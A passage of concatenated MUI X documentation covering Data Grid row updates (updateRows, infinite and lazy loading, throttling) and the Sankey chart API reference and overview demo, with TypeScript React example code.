  cellClassName: (params) => params.value,
};

const columns: GridColDef<Row>[] = [
  {
    field: 'time',
    headerName: 'Time',
    width: 120,
  },
  {
    field: '0',
    headerName: days[0],
    valueGetter: (value, row) => row?.slots[0],
    ...slotColumnCommonFields,
  },
  {
    field: '1',
    headerName: days[1],
    valueGetter: (value, row) => row?.slots[1],
    ...slotColumnCommonFields,
  },
  {
    field: '2',
    headerName: days[2],
    valueGetter: (value, row) => row?.slots[2],
    ...slotColumnCommonFields,
  },
  {
    field: '3',
    headerName: days[3],
    valueGetter: (value, row) => row?.slots[3],
    ...slotColumnCommonFields,
  },
  {
    field: '4',
    headerName: days[4],
    valueGetter: (value, row) => row?.slots[4],
    ...slotColumnCommonFields,
  },
];

const rootStyles = {
  display: 'flex',
  flexDirection: 'column',
  width: '100%',
  '& .Maths': {
    backgroundColor: 'rgba(157, 255, 118, 0.49)',
  },
  '& .English': {
    backgroundColor: 'rgba(255, 255, 10, 0.49)',
  },
  '& .Lab': {
    backgroundColor: 'rgba(150, 150, 150, 0.49)',
  },
  '& .Chemistry': {
    backgroundColor: 'rgba(255, 150, 150, 0.49)',
  },
  '& .Physics': {
    backgroundColor: 'rgba(10, 150, 255, 0.49)',
  },
  '& .Music': {
    backgroundColor: 'rgba(224, 183, 60, 0.55)',
  },
  '& .Dance': {
    backgroundColor: 'rgba(200, 150, 255, 0.49)',
  },
};

export default function RowSpanningCalendar() {
  return (
    <Box sx={rootStyles}>
      <DataGrid
        columns={columns}
        rows={rows}
        rowSpanning
        disableRowSelectionOnClick
        hideFooter
        showCellVerticalBorder
        showColumnVerticalBorder
        sx={{
          '& .MuiDataGrid-row:hover': {
            backgroundColor: 'transparent',
          },
        }}
      />
    </Box>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/row-updates.md

# Data Grid - Row updates

Always keep your rows up to date.

## The `rows` prop

The simplest way to update the rows is to provide the new rows using the `rows` prop.
It replaces the previous values. This approach has some drawbacks:

- You need to provide all the rows.
- You might create a performance bottleneck when preparing the rows array to provide to the Data Grid.

```tsx
import * as React from 'react';
import { DataGrid, GridColDef } from '@mui/x-data-grid';
import { randomInt, randomUserName } from '@mui/x-data-grid-generator';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';

const columns: GridColDef[] = [
  { field: 'id' },
  { field: 'username', width: 150 },
  { field: 'age', width: 80, type: 'number' },
];

let idCounter = 0;
const createRandomRow = () => {
  idCounter += 1;
  return { id: idCounter, username: randomUserName(), age: randomInt(10, 80) };
};

export default function UpdateRowsProp() {
  const [rows, setRows] = React.useState(() => [
    createRandomRow(),
    createRandomRow(),
    createRandomRow(),
    createRandomRow(),
  ]);

  const handleUpdateRow = () => {
    if (rows.length === 0) {
      return;
    }
    setRows((prevRows) => {
      const rowToUpdateIndex = randomInt(0, rows.length - 1);

      return prevRows.map((row, index) =>
        index === rowToUpdateIndex ? { ...row, username: randomUserName() } : row,
      );
    });
  };

  const handleUpdateAllRows = () => {
    setRows(rows.map((row) => ({ ...row, username: randomUserName() })));
  };

  const handleDeleteRow = () => {
    if (rows.length === 0) {
      return;
    }
    setRows((prevRows) => {
      const rowToDeleteIndex = randomInt(0, prevRows.length - 1);
      return [
        ...rows.slice(0, rowToDeleteIndex),
        ...rows.slice(rowToDeleteIndex + 1),
      ];
    });
  };

  const handleAddRow = () => {
    setRows((prevRows) => [...prevRows, createRandomRow()]);
  };

  return (
    <Box sx={{ width: '100%' }}>
      <Stack direction="row" spacing={1}>
        <Button size="small" onClick={handleUpdateRow}>
          Update a row
        </Button>
        <Button size="small" onClick={handleUpdateAllRows}>
          Update all rows
        </Button>
        <Button size="small" onClick={handleDeleteRow}>
          Delete a row
        </Button>
        <Button size="small" onClick={handleAddRow}>
          Add a row
        </Button>
      </Stack>
      <Box sx={{ height: 400, mt: 1 }}>
        <DataGrid rows={rows} columns={columns} />
      </Box>
    </Box>
  );
}

```

:::warning
Updating the `rows` prop causes the Data Grid to recompute the row tree, which may result in losing some tree information, however the expansion state of the groups is preserved for the rows with same IDs across rerenders.
Unless the recomputation is explicitly required, the API method `updateRows()` should be used.
:::

## The `updateRows()` method

If you want to only update part of the rows, you can use the `apiRef.current.updateRows()` method.

```tsx
import { DataGridPro, useGridApiRef, GridColDef } from '@mui/x-data-grid-pro';
import {
  randomInt,
  randomUserName,
  randomArrayItem,
} from '@mui/x-data-grid-generator';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';

const columns: GridColDef[] = [
  { field: 'id' },
  { field: 'username', width: 150 },
  { field: 'age', width: 80, type: 'number' },
];

let idCounter = 0;
const createRandomRow = () => {
  idCounter += 1;
  return { id: idCounter, username: randomUserName(), age: randomInt(10, 80) };
};

const rows = [
  createRandomRow(),
  createRandomRow(),
  createRandomRow(),
  createRandomRow(),
];

export default function UpdateRowsApiRef() {
  const apiRef = useGridApiRef();

  const handleUpdateRow = () => {
    const rowIds = apiRef.current?.getAllRowIds() || [];
    const rowId = randomArrayItem(rowIds);

    apiRef.current?.updateRows([{ id: rowId, username: randomUserName() }]);
  };

  const handleUpdateAllRows = () => {
    const rowIds = apiRef.current?.getAllRowIds() || [];

    apiRef.current?.updateRows(
      rowIds.map((rowId) => ({ id: rowId, username: randomUserName() })),
    );
  };

  const handleDeleteRow = () => {
    const rowIds = apiRef.current?.getAllRowIds() || [];
    const rowId = randomArrayItem(rowIds);

    apiRef.current?.updateRows([{ id: rowId, _action: 'delete' }]);
  };

  const handleAddRow = () => {
    apiRef.current?.updateRows([createRandomRow()]);
  };

  return (
    <Box sx={{ width: '100%' }}>
      <Stack direction="row" spacing={1}>
        <Button size="small" onClick={handleUpdateRow}>
          Update a row
        </Button>
        <Button size="small" onClick={handleUpdateAllRows}>
          Update all rows
        </Button>
        <Button size="small" onClick={handleDeleteRow}>
          Delete a row
        </Button>
        <Button size="small" onClick={handleAddRow}>
          Add a row
        </Button>
      </Stack>
      <Box sx={{ height: 400, mt: 1 }}>
        <DataGridPro apiRef={apiRef} rows={rows} columns={columns} />
      </Box>
    </Box>
  );
}

```

The default behavior of `updateRows()` API is to upsert rows.
So if a row has an id that is not in the current list of rows then it will be added to the Data Grid.

Alternatively, if you would like to delete a row, you would need to pass an extra `_action` property in the update object as below.

```ts
apiRef.current.updateRows([{ id: 1, _action: 'delete' }]);
```

:::info
The community version of the Data Grid is limited to a single row update per `apiRef.current.updateRows()` call.
Multiple row updates at a time are supported in [Pro](/x/introduction/licensing/#pro-plan) and [Premium](/x/introduction/licensing/#premium-plan) plans.
:::

## Infinite loading [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

:::warning
This feature is deprecated, use the [Server-side data—Infinite loading](/x/react-data-grid/server-side-data/lazy-loading/#infinite-loading) instead.
:::

The grid provides a `onRowsScrollEnd` prop that can be used to load additional rows when the scroll reaches the bottom of the viewport area.

In addition, the area in which `onRowsScrollEnd` is called can be changed using `scrollEndThreshold`.

```tsx
import * as React from 'react';
import {
  DataGridPro,
  DataGridProProps,
  GridSlots,
  GridSortModel,
  gridStringOrNumberComparator,
  GridFilterModel,
  getGridStringOperators,
  GridFilterOperator,
} from '@mui/x-data-grid-pro';
import {
  getRealGridData,
  getCommodityColumns,
  randomInt,
  GridDemoData,
} from '@mui/x-data-grid-generator';
import LinearProgress from '@mui/material/LinearProgress';

const MAX_ROW_LENGTH = 1000;

function sleep(duration: number) {
  return new Promise<void>((resolve) => {
    setTimeout(() => {
      resolve();
    }, duration);
  });
}

let allData: GridDemoData | undefined;

const columnFields = [
  'id',
  'desk',
  'commodity',
  'traderName',
  'traderEmail',
  'brokerId',
  'brokerName',
  'counterPartyName',
];
const columns = getCommodityColumns().filter((column) =>
  columnFields.includes(column.field),
);

const filterOperators = getGridStringOperators();
const filterOperatorsLookup = filterOperators.reduce<
  Record<string, GridFilterOperator>
>((acc, operator) => {
  acc[operator.value] = operator;
  return acc;
}, {});

async function fetchRows({
  fromIndex,
  toIndex,
  sortModel,
  filterModel,
}: {
  fromIndex: number;
  toIndex: number;
  sortModel: GridSortModel;
  filterModel: GridFilterModel;
}) {
  if (!allData) {
    allData = await getRealGridData(MAX_ROW_LENGTH, columns);
  }
  await sleep(randomInt(100, 600));

  fromIndex = Math.max(0, fromIndex);
  fromIndex = Math.min(fromIndex, allData.rows.length);

  toIndex = Math.max(0, toIndex);
  toIndex = Math.min(toIndex, allData.rows.length);

  let allRows = [...allData.rows];

  if (sortModel && sortModel.length > 0) {
    sortModel.forEach(({ field, sort }) => {
      if (field && sort) {
        allRows = allRows.sort((a, b) => {
          return (
            gridStringOrNumberComparator(a[field], b[field], {} as any, {} as any) *
            (sort === 'asc' ? 1 : -1)
          );
        });
      }
    });
  }

  if (filterModel && filterModel.items.length > 0) {
    const method = filterModel.logicOperator === 'or' ? 'some' : 'every';

    allRows = allRows.filter((row) => {
      return filterModel.items[method]((item) => {
        const filter = filterOperatorsLookup[item.operator];
        if (!filter) {
          return true;
        }
        if (!filter.requiresFilterValue !== false && !item.value) {
          return true;
        }
        const colDef = {} as any;
        const apiRef = {} as any;
        return filter.getApplyFilterFn(item, colDef)?.(
          row[item.field],
          row,
          colDef,
          apiRef,
        );
      });
    });
  }

  const rows = allRows.slice(fromIndex, toIndex);
  return rows;
}

export default function InfiniteLoadingGrid() {
  const [loading, setLoading] = React.useState(false);
  const [rows, setRows] = React.useState<any[]>([]);
  const [sortModel, setSortModel] = React.useState<GridSortModel>([]);
  const [filterModel, setFilterModel] = React.useState<GridFilterModel>({
    items: [],
  });

  const handleOnRowsScrollEnd = React.useCallback<
    NonNullable<DataGridProProps['onRowsScrollEnd']>
  >(
    async (params) => {
      setLoading(true);
      const fetchedRows = await fetchRows({
        fromIndex: rows.length,
        toIndex: rows.length + params.viewportPageSize * 2,
        sortModel,
        filterModel,
      });
      setLoading(false);
      setRows((prevRows) => prevRows.concat(fetchedRows));
    },
    [rows.length, sortModel, filterModel],
  );

  React.useEffect(() => {
    let mounted = true;
    (async () => {
      setLoading(true);
      const fetchedRows = await fetchRows({
        fromIndex: 0,
        toIndex: 20,
        sortModel,
        filterModel,
      });
      if (mounted) {
        setLoading(false);
        setRows(fetchedRows);
      }
    })();

    return () => {
      mounted = false;
    };
  }, [sortModel, filterModel]);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        columns={columns}
        rows={rows}
        loading={loading}
        onRowsScrollEnd={handleOnRowsScrollEnd}
        scrollEndThreshold={200}
        sortingMode="server"
        sortModel={sortModel}
        onSortModelChange={setSortModel}
        filterMode="server"
        filterModel={filterModel}
        onFilterModelChange={setFilterModel}
        initialState={{
          columns: { columnVisibilityModel: { id: false } },
        }}
        slots={{
          loadingOverlay: LinearProgress as GridSlots['loadingOverlay'],
        }}
        hideFooterPagination
      />
    </div>
  );
}

```

:::info
For sorting and filtering to work properly with the infinite loading, they should be applied on the server-side.
Otherwise, the sorting and filtering will only be applied to the subset of rows that have been loaded.
:::

## Lazy loading [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

:::warning
This feature is deprecated, use the [Server-side data—Viewport loading](/x/react-data-grid/server-side-data/lazy-loading/#viewport-loading) instead.
:::

Lazy Loading works like a pagination system, but instead of loading new rows based on pages, it loads them based on the viewport.
It loads new rows in chunks, as the user scrolls through the Data Grid and reveals empty rows.

The Data Grid builds the vertical scroll as if all the rows are already there, and displays empty (skeleton) rows while loading the data. Only rows that are displayed get fetched.

To enable lazy loading, there are a few steps you need to follow:

First, set `rowsLoadingMode="server"`.
Then, set `rowCount` to reflect the number of available rows on the server.
Third, set a callback function on `onFetchRows` to load the data corresponding to the row indices passed within `GridFetchRowsParams`.
Finally, replace the empty rows with the newly fetched ones using `apiRef.current.unstable_replaceRows()` like in the demo below.

```tsx
import * as React from 'react';
import debounce from '@mui/utils/debounce';
import {
  DataGridPro,
  GridFetchRowsParams,
  useGridApiRef,
} from '@mui/x-data-grid-pro';
import {
  createFakeServer,
  loadServerRows,
  UseDemoDataOptions,
} from '@mui/x-data-grid-generator';

const DATASET_OPTION: UseDemoDataOptions = {
  dataSet: 'Employee',
  rowLength: 10000,
};

const { columnsWithDefaultColDef, useQuery, ...data } =
  createFakeServer(DATASET_OPTION);

const emptyObject = {};

export default function LazyLoadingGrid() {
  // dataServerSide simulates your database.
  const { rows: rowsServerSide } = useQuery(emptyObject);

  const apiRef = useGridApiRef();
  const [initialRows, setInitialRows] = React.useState<typeof rowsServerSide>([]);
  const [rowCount, setRowCount] = React.useState(0);
  const fetchReference = React.useRef(0);

  const fetchRow = React.useCallback(
    async (params: GridFetchRowsParams) => {
      const serverRows = await loadServerRows(
        rowsServerSide,
        {
          filterModel: params.filterModel,
          sortModel: params.sortModel,
        },
        {
          minDelay: 300,
          maxDelay: 800,
          useCursorPagination: false,
        },
        columnsWithDefaultColDef,
      );

      return {
        slice: serverRows.returnedRows.slice(
          params.firstRowToRender,
          params.lastRowToRender,
        ),
        total: serverRows.returnedRows.length,
      };
    },
    [rowsServerSide],
  );

  // The initial fetch request of the viewport.
  React.useEffect(() => {
    if (rowsServerSide.length === 0) {
      return;
    }

    (async () => {
      const { slice, total } = await fetchRow({
        firstRowToRender: 0,
        lastRowToRender: 10,
        sortModel: [],
        filterModel: {
          items: [],
        },
      });

      setInitialRows(slice);
      setRowCount(total);
    })();
  }, [rowsServerSide, fetchRow]);

  // Fetch rows as they become visible in the viewport
  const handleFetchRows = React.useCallback(
    async (params: GridFetchRowsParams) => {
      const reference = fetchReference.current;
      const { slice, total } = await fetchRow(params);
      if (reference !== fetchReference.current) {
        return;
      }

      apiRef.current?.unstable_replaceRows(params.firstRowToRender, slice);
      setRowCount(total);
    },
    [apiRef, fetchRow],
  );

  const debouncedHandleFetchRows = React.useMemo(
    () => debounce(handleFetchRows, 200),
    [handleFetchRows],
  );

  const handleModelChange = React.useCallback(() => {
    fetchReference.current += 1;
    setInitialRows([]);
  }, []);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        rows={initialRows}
        {...data}
        apiRef={apiRef}
        hideFooterPagination
        rowCount={rowCount}
        sortingMode="server"
        filterMode="server"
        rowsLoadingMode="server"
        onFetchRows={debouncedHandleFetchRows}
        onSortModelChange={handleModelChange}
        onFilterModelChange={handleModelChange}
      />
    </div>
  );
}

```

:::warning
The `onFetchRows` callback is called every time a new row is in the viewport, so when you scroll, you can easily send multiple requests to your backend. We recommend developers limit those by implementing debouncing.
:::

:::warning
For now, lazy loading rows does not work with row grouping or tree data.
:::

:::info
In order for filtering and sorting to work you need to set their modes to `server`.
You can find out more information about how to do that on the [server-side filter page](/x/react-data-grid/filtering/server-side/) and on the [server-side sorting page](/x/react-data-grid/sorting/#server-side-sorting).
:::

## High frequency [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Whenever the rows are updated, the Data Grid has to apply sorting and filters.
This can be a problem if you have high-frequency updates.
To maintain good performance, the Data Grid lets you batch the updates and only apply them after a period of time.
You can use the `throttleRowsMs` prop to define the frequency (in milliseconds) at which rows updates are applied.

When receiving updates more frequently than this threshold, the Data Grid will wait before updating the rows.

The following demo updates the rows every 10 ms, but they are only applied every 2 seconds.

```tsx
import * as React from 'react';
import { DataGridPro, useGridApiRef, GridColDef } from '@mui/x-data-grid-pro';
import { interval } from 'rxjs';
import { randomInt, randomUserName } from '@mui/x-data-grid-generator';

const columns: GridColDef[] = [
  { field: 'id' },
  { field: 'username', width: 150 },
  { field: 'age', width: 80, type: 'number' },
];

const rows = [
  { id: 1, username: randomUserName(), age: randomInt(10, 80) },
  { id: 2, username: randomUserName(), age: randomInt(10, 80) },
  { id: 3, username: randomUserName(), age: randomInt(10, 80) },
  { id: 4, username: randomUserName(), age: randomInt(10, 80) },
];

export default function ThrottledRowsGrid() {
  const apiRef = useGridApiRef();

  React.useEffect(() => {
    const subscription = interval(10).subscribe(() => {
      apiRef.current?.updateRows([
        {
          id: randomInt(1, 4),
          username: randomUserName(),
          age: randomInt(10, 80),
        },
        {
          id: randomInt(1, 4),
          username: randomUserName(),
          age: randomInt(10, 80),
        },
      ]);
    });

    return () => {
      subscription.unsubscribe();
    };
  }, [apiRef]);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        rows={rows}
        columns={columns}
        apiRef={apiRef}
        throttleRowsMs={2000}
      />
    </div>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/charts/sankey-chart.md

# SankeyChart API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Export
- Charts - Sankey 🧪

## Import

```jsx
import { SankeyChart } from '@mui/x-charts-pro/SankeyChart';
// or
import { SankeyChart } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `object` | - | Yes |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| experimentalFeatures | `{ preferStrictDomainInLineCharts?: bool }` | - | No |  |
| height | `number` | - | No |  |
| highlightedItem | `{ nodeId: number \| string, seriesId: number \| string, subType: 'node', type: 'sankey' } \| { seriesId: number \| string, sourceId: number \| string, subType: 'link', targetId: number \| string, type: 'sankey' }` | - | No |  |
| id | `string` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onHighlightChange | `function(highlightedItem: SankeyHighlightItemData \| null) => void` | - | No |  |
| onLinkClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, link: SankeyLinkIdentifierWithData) => void` | - | No |  |
| onNodeClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, node: SankeyNodeIdentifierWithData) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ nodeId: number \| string, seriesId: number \| string, subType: 'node', type: 'sankey' } \| { seriesId: number \| string, sourceId: number \| string, subType: 'link', targetId: number \| string, type: 'sankey' }` | - | No |  |
| width | `number` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| baseButton | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | linkLabels | Styles applied to the link label container. |
| - | links | Styles applied to the links container. |
| - | nodeLabels | Styles applied to the node label container. |
| - | nodes | Styles applied to the nodes container. |
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/SankeyChart/SankeyChart.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/SankeyChart/SankeyChart.tsx)

---

# Source: https://mui.com/x/api/charts/sankey-data-provider.md

# SankeyDataProvider API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Sankey 🧪

## Import

```jsx
import { SankeyDataProvider } from '@mui/x-charts-pro/SankeyChart';
// or
import { SankeyDataProvider } from '@mui/x-charts-pro';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/SankeyChart/SankeyDataProvider.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/SankeyChart/SankeyDataProvider.tsx)

---

# Source: https://mui.com/x/api/charts/sankey-plot.md

# SankeyPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Sankey 🧪

## Import

```jsx
import { SankeyPlot } from '@mui/x-charts-pro/SankeyChart';
// or
import { SankeyPlot } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| onLinkClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, link: SankeyLinkIdentifierWithData) => void` | - | No |  |
| onNodeClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, node: SankeyNodeIdentifierWithData) => void` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | linkLabels | Styles applied to the link label container. |
| - | links | Styles applied to the links container. |
| - | nodeLabels | Styles applied to the node label container. |
| - | nodes | Styles applied to the nodes container. |
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/SankeyChart/SankeyPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/SankeyChart/SankeyPlot.tsx)

---

# Source: https://mui.com/x/api/charts/sankey-tooltip-content.md

# SankeyTooltipContent API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Sankey 🧪

## Import

```jsx
import { SankeyTooltipContent } from '@mui/x-charts-pro/SankeyChart';
// or
import { SankeyTooltipContent } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/SankeyChart/SankeyTooltip/SankeyTooltipContent.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/SankeyChart/SankeyTooltip/SankeyTooltipContent.tsx)

---

# Source: https://mui.com/x/api/charts/sankey-tooltip.md

# SankeyTooltip API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Sankey 🧪

## Import

```jsx
import { SankeyTooltip } from '@mui/x-charts-pro/SankeyChart';
// or
import { SankeyTooltip } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| anchor | `'node' \| 'pointer'` | `'pointer'` | No |  |
| anchorEl | `(props, propName) => { if (props[propName] == null) { return new Error(`Prop '${propName}' is required but wasn't specified`); } if (typeof props[propName] !== 'object' \|  \| props[propName].nodeType !== 1) { return new Error(`Expected prop '${propName}' to be of type Element`); } return null; } \| func \| { contextElement?: (props, propName) => { if (props[propName] == null) { return null; } if (typeof props[propName] !== 'object' \|  \| props[propName].nodeType !== 1) { return new Error(`Expected prop '${propName}' to be of type Element`); } return null; }, getBoundingClientRect: func }` | - | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| component | `elementType` | - | No |  |
| components (deprecated) | `{ Root?: elementType }` | `{}` | No | ⚠️ use the `slots` prop instead. This prop will be removed in a future major release. [How to migrate](/material-ui/migration/migrating-from-deprecated-apis/). |
| componentsProps (deprecated) | `{ root?: func \| object }` | `{}` | No | ⚠️ use the `slotProps` prop instead. This prop will be removed in a future major release. [How to migrate](/material-ui/migration/migrating-from-deprecated-apis/). |
| container | `(props, propName) => { if (props[propName] == null) { return new Error(`Prop '${propName}' is required but wasn't specified`); } if (typeof props[propName] !== 'object' \|  \| props[propName].nodeType !== 1) { return new Error(`Expected prop '${propName}' to be of type Element`); } return null; } \| func` | - | No |  |
| disablePortal | `bool` | `false` | No |  |
| keepMounted | `bool` | `false` | No |  |
| modifiers | `Array<{ data?: object, effect?: func, enabled?: bool, fn?: func, name?: any, options?: object, phase?: 'afterMain' \| 'afterRead' \| 'afterWrite' \| 'beforeMain' \| 'beforeRead' \| 'beforeWrite' \| 'main' \| 'read' \| 'write', requires?: Array<string>, requiresIfExists?: Array<string> }>` | - | No |  |
| open | `bool` | - | No |  |
| placement | `'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top'` | `'bottom'` | No |  |
| popperOptions | `{ modifiers?: array, onFirstUpdate?: func, placement?: 'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top', strategy?: 'absolute' \| 'fixed' }` | `{}` | No |  |
| popperRef | `func \| { current?: { destroy: func, forceUpdate: func, setOptions: func, state: { attributes: object, elements: object, modifiersData: object, options: object, orderedModifiers: Array<object>, placement: 'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top', rects: object, reset: bool, scrollParents: object, strategy: 'absolute' \| 'fixed', styles: object }, update: func } }` | - | No |  |
| position | `'bottom' \| 'left' \| 'right' \| 'top'` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| transition | `bool` | `false` | No |  |
| trigger | `'item' \| 'none'` | `'item'` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/SankeyChart/SankeyTooltip/SankeyTooltip.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/SankeyChart/SankeyTooltip/SankeyTooltip.tsx)

---

# Source: https://mui.com/x/react-charts/sankey.md

---
title: React Sankey chart
productId: x-charts
components: SankeyChart, SankeyPlot, SankeyTooltip, SankeyTooltipContent, SankeyDataProvider, FocusedSankeyNode, FocusedSankeyLink
---

# Charts - Sankey [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')🧪

Sankey charts are great for visualizing flows between different elements.

:::info
This feature is in preview. It is ready for production use, but its API, visuals and behavior may change in future minor or patch releases.
:::

## Overview

The Sankey chart is a type of flow diagram that visualizes the flow of data between different nodes.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import useMediaQuery from '@mui/material/useMediaQuery';
import { useTheme } from '@mui/material/styles';
import {
  SankeyLinkPlot,
  SankeyNodePlot,
  SankeyTooltip,
  SankeyDataProvider,
} from '@mui/x-charts-pro/SankeyChart';
import { ChartsWrapper } from '@mui/x-charts-pro/ChartsWrapper';
import { ChartsSurface } from '@mui/x-charts-pro/ChartsSurface';
import { CustomNodeLabelPlot } from './CustomNodeLabelPlot';

const data = {
  nodes: [
    // Sub-segment
    { id: 'Server Products', color: '#595b63' },
    { id: 'Enterprise Services', color: '#595b63' },
    { id: 'M365 Commercial', color: '#595b63' },
    { id: 'M365 Consumer', color: '#595b63' },
    { id: 'LinkedIn', color: '#595b63' },
    { id: 'Dynamics', color: '#595b63' },
    { id: 'Gaming', color: '#595b63' },
    { id: 'Windows & Devices', color: '#595b63' },
    { id: 'Search & News Ads', color: '#595b63' },

    // Main revenue segments
    { id: 'Intelligent Cloud', label: 'Cloud', color: '#595b63' },
    { id: 'Productivity', color: '#595b63' },
    { id: 'Personal Computing', label: 'Personal Computing', color: '#595b63' },
    { id: 'Revenue', label: 'Total Revenue', color: '#595b63' },

    // Gross Profit and breakdown
    { id: 'Gross Profit', label: 'Gross Profit', color: '#44CE8D' },
    { id: 'Operating Profit', label: 'Operating Profit', color: '#44CE8D' },
    { id: 'Net Profit', label: 'Net Profit', color: '#44CE8D' },
    { id: 'Tax', label: 'Income Tax', color: '#F35865' },
    { id: 'Other Loss', label: 'Other Loss', color: '#F35865' },
    { id: 'Operating Expenses', label: 'Operating Expenses', color: '#F35865' },
    { id: 'R&D', label: 'R&D', color: '#F35865' },
    { id: 'S&M', label: 'Sales & Marketing', color: '#F35865' },
    { id: 'G&A', label: 'General & Administration', color: '#F35865' },

    // Cost of Revenue and breakdown
    { id: 'Cost of Revenue', label: 'Cost of Revenue', color: '#F35865' },
    { id: 'Product Costs', label: 'Product Costs', color: '#F35865' },
    { id: 'Service Costs', label: 'Service Costs', color: '#F35865' },
  ],

  links: [
    // Revenue-in links
    { source: 'Server Products', target: 'Intelligent Cloud', value: 98.4 },
    { source: 'Enterprise Services', target: 'Intelligent Cloud', value: 7.7 },
    { source: 'M365 Commercial', target: 'Productivity', value: 87.7 },
    { source: 'M365 Consumer', target: 'Productivity', value: 7.4 },
    { source: 'LinkedIn', target: 'Productivity', value: 17.8 },
    { source: 'Dynamics', target: 'Productivity', value: 7.8 },
    { source: 'Gaming', target: 'Personal Computing', value: 23.4 },
    { source: 'Windows & Devices', target: 'Personal Computing', value: 17.3 },
    { source: 'Search & News Ads', target: 'Personal Computing', value: 13.8 },
    { source: 'Intelligent Cloud', target: 'Revenue', value: 106.2 },
    { source: 'Productivity', target: 'Revenue', value: 120.8 },
    { source: 'Personal Computing', target: 'Revenue', value: 54.6 },

    // Revenue-out links
    { source: 'Revenue', target: 'Cost of Revenue', value: 87.8 },
